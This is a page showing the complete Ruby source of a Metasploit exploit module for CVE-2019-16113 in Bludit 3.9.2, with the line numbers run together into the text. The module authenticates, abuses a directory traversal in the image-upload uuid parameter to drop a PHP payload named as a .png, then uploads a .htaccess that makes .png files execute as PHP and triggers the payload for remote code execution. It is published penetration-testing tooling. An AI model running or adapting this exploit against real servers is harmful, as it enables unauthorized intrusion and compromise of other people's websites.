Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/bludit_upload_images_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE10include Msf::Exploit::FileDropper11include Msf::Auxiliary::Report1213def initialize(info={})14super(update_info(info,15'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",16'Description' => %q{17This module exploits a vulnerability in Bludit. A remote user could abuse the uuid18parameter in the image upload feature in order to save a malicious payload anywhere19onto the server, and then use a custom .htaccess file to bypass the file extension20check to finally get remote code execution.21},22'License' => MSF_LICENSE,23'Author' =>24[25'christasa', # Original discovery26'sinn3r' # Metasploit module27],28'References' =>29[30['CVE', '2019-16113'],31['URL', 'https://github.com/bludit/bludit/issues/1081'],32['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]33],34'Platform' => 'php',35'Arch' => ARCH_PHP,36'Notes' =>37{38'SideEffects' => [ IOC_IN_LOGS ],39'Reliability' => [ REPEATABLE_SESSION ],40'Stability' => [ CRASH_SAFE ]41},42'Targets' =>43[44[ 'Bludit v3.9.2', {} ]45],46'Privileged' => false,47'DisclosureDate' => "2019-09-07",48'DefaultTarget' => 0))4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),53OptString.new('BLUDITUSER', [true, 'The username for Bludit']),54OptString.new('BLUDITPASS', [true, 'The password for Bludit'])55])56end5758class PhpPayload59attr_reader :payload60attr_reader :name6162def initialize(p)63@payload = p64@name = "#{Rex::Text.rand_text_alpha(10)}.png"65end66end6768class LoginBadge69attr_reader :username70attr_reader :password71attr_accessor :csrf_token72attr_accessor :bludit_key7374def initialize(user, pass, token, key)75@username = user76@password = pass77@csrf_token = token78@bludit_key = key79end80end8182def check83res = send_request_cgi({84'method' => 'GET',85'uri' => normalize_uri(target_uri.path, 'index.php')86})8788unless res89vprint_error('Connection timed out')90return CheckCode::Unknown91end9293html = res.get_html_document94generator_tag = html.at('meta[@name="generator"]')95unless generator_tag96vprint_error('No generator metadata tag found in HTML')97return CheckCode::Safe98end99100content_attr = generator_tag.attributes['content']101unless content_attr102vprint_error("No content attribute found in metadata tag")103return CheckCode::Safe104end105106if content_attr.value == 'Bludit'107return CheckCode::Detected108end109110CheckCode::Safe111end112113def get_uuid(login_badge)114print_status('Retrieving UUID...')115res = send_request_cgi({116'method' => 'GET',117'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),118'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"119})120121unless res122fail_with(Failure::Unknown, 'Connection timed out')123end124125html = res.get_html_document126uuid_element = html.at('input[@name="uuid"]')127unless uuid_element128fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')129end130131uuid_val = uuid_element.attributes['value']132unless uuid_val && uuid_val.respond_to?(:value)133fail_with(Failure::Unknown, 'No UUID value')134end135136uuid_val.value137end138139def upload_file(login_badge, uuid, content, fname)140print_status("Uploading #{fname}...")141142data = Rex::MIME::Message.new143data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")144data.add_part(uuid, nil, nil, 'form-data; name="uuid"')145data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')146147res = send_request_cgi({148'method' => 'POST',149'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),150'ctype' => "multipart/form-data; boundary=#{data.bound}",151'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",152'headers' => {'X-Requested-With' => 'XMLHttpRequest'},153'data' => data.to_s154})155156unless res157fail_with(Failure::Unknown, 'Connection timed out')158end159end160161def upload_php_payload_and_exec(login_badge)162# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/163# To: /var/www/html/bludit/bl-content/tmp164uuid = get_uuid(login_badge)165php_payload = get_php_payload166upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)167168# On the vuln app, this line occurs first:169# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);170# Even though there is a file extension check, it won't really stop us171# from uploading the .htaccess file.172htaccess = <<~HTA173RewriteEngine off174AddType application/x-httpd-php .png175HTA176upload_file(login_badge, uuid, htaccess, ".htaccess")177register_file_for_cleanup('.htaccess')178179print_status("Executing #{php_payload.name}...")180send_request_cgi({181'method' => 'GET',182'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)183})184end185186def get_php_payload187@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))188end189190def get_login_badge(res)191cookies = res.get_cookies192bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''193194html = res.get_html_document195csrf_element = html.at('input[@name="tokenCSRF"]')196unless csrf_element197fail_with(Failure::Unknown, 'No tokenCSRF found')198end199200csrf_val = csrf_element.attributes['value']201unless csrf_val && csrf_val.respond_to?(:value)202fail_with(Failure::Unknown, 'No tokenCSRF value')203end204205LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)206end207208def do_login209res = send_request_cgi({210'method' => 'GET',211'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')212})213214unless res215fail_with(Failure::Unknown, 'Connection timed out')216end217218login_badge = get_login_badge(res)219res = send_request_cgi({220'method' => 'POST',221'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),222'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",223'vars_post' =>224{225'tokenCSRF' => login_badge.csrf_token,226'username' => login_badge.username,227'password' => login_badge.password228}229})230231unless res232fail_with(Failure::Unknown, 'Connection timed out')233end234235# A new csrf value is generated, need to update this for the upload236if res.headers['Location'].to_s.include?('/admin/dashboard')237store_valid_credential(user: login_badge.username, private: login_badge.password)238res = send_request_cgi({239'method' => 'GET',240'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),241'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",242})243244unless res245fail_with(Failure::Unknown, 'Connection timed out')246end247248new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first249login_badge.csrf_token = new_csrf if new_csrf250return login_badge251end252253fail_with(Failure::NoAccess, 'Authentication failed')254end255256def exploit257login_badge = do_login258print_good("Logged in as: #{login_badge.username}")259upload_php_payload_and_exec(login_badge)260end261end262263264